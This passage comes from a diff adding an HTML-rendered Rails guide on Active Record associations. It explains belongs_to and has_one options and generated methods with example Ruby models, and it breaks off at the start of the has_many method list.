+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>belongs_to</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:counter_cache</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:dependent</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:polymorphic</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_class_name_tt"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_counter_cache_tt"><tt>:counter_cache</tt></h5>
+<div class="para"><p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>.size</tt> method.</p></div>
+<div class="para"><p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>count_of_orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Counter cache columns are added to the containing model's list of read-only attributes through <tt>attr_readonly</tt>.</p></div>
+<h5 id="_tt_dependent_tt"><tt>:dependent</tt></h5>
+<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">You should not specify this option on a <tt>belongs_to</tt> association that is connected with a <tt>has_many</tt> association on the other class. Doing so can lead to orphaned records in your database.</td>
+</tr></table>
+</div>
+<h5 id="_tt_foreign_key_tt"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"patron_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
+</tr></table>
+</div>
+<h5 id="_tt_include_tt"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>order
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+  has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>order<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+  has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">There's no need to use <tt>:include</tt> for immediate associations - that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it's needed.</td>
+</tr></table>
+</div>
+<h5 id="_tt_polymorphic_tt"><tt>:polymorphic</tt></h5>
+<div class="para"><p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.</p></div>
+<h5 id="_tt_readonly_tt"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you set the <tt>:select</tt> option on a <tt>belongs_to</tt> association, you should also set the <tt>foreign_key</tt> option to guarantee the correct results.</td>
+</tr></table>
+</div>
+<h5 id="_tt_validate_tt"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved">4.1.3. When are Objects Saved?</h4>
+<div class="para"><p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p></div>
+<h3 id="_the_has_one_association">4.2. The has_one Association</h3>
+<div class="para"><p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p></div>
+<h4 id="_methods_added_by_tt_has_one_tt">4.2.1. Methods Added by <tt>has_one</tt></h4>
+<div class="para"><p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains five methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>association</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>=(associate)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>.nil?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>build<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>create<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the <tt>Supplier</tt> model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>account
+account<span style="color: #990000">=</span>
+account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+build_account
+create_account
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_force_reload_false_tt_2"><tt><em>association</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account
+</tt></pre></div></div>
+<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
+<h5 id="_tt_em_association_em_associate_tt_2"><tt><em>association</em>=(associate)</tt></h5>
+<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@suppler</span><span style="color: #990000">.</span>account <span style="color: #990000">=</span> <span style="color: #009900">@account</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_nil_tt_2"><tt><em>association</em>.nil?</tt></h5>
+<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+  <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No account found for this supplier"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_build_em_association_em_attributes_tt_2"><tt>build<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>build_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_create_em_association_em_attributes_tt_2"><tt>create<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>create_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_tt_has_one_tt">4.2.2. Options for <tt>has_one</tt></h4>
+<div class="para"><p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>nullify
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>has_one</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:as</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:dependent</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:order</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:primary_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source_type</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_as_tt"><tt>:as</tt></h5>
+<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_class_name_tt_2"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt_2"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_dependent_tt_2"><tt>:dependent</tt></h5>
+<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p></div>
+<h5 id="_tt_foreign_key_tt_2"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"supp_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
+</tr></table>
+</div>
+<h5 id="_tt_include_tt_2"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>supplier
+  belongs_to <span style="color: #990000">:</span>representative
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>accounts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>representative
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>supplier
+  belongs_to <span style="color: #990000">:</span>representative
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>accounts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_order_tt"><tt>:order</tt></h5>
+<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p></div>
+<h5 id="_tt_primary_key_tt"><tt>:primary_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
+<h5 id="_tt_readonly_tt_2"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt_2"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
+<h5 id="_tt_source_tt"><tt>:source</tt></h5>
+<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p></div>
+<h5 id="_tt_source_type_tt"><tt>:source_type</tt></h5>
+<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p></div>
+<h5 id="_tt_through_tt"><tt>:through</tt></h5>
+<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_validate_tt_2"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved_2">4.2.3. When are Objects Saved?</h4>
+<div class="para"><p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p></div>
+<div class="para"><p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="para"><p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved.</p></div>
+<div class="para"><p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt>association.build</tt> method.</p></div>
+<h3 id="_the_has_many_association">4.3. The has_many Association</h3>
+<div class="para"><p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p></div>
+<h4 id="_methods_added">4.3.1. Methods Added</h4>
+<div class="para"><p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>collection</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.delete(object, &#8230;)</tt>
+</p>
+</li>
+<li>
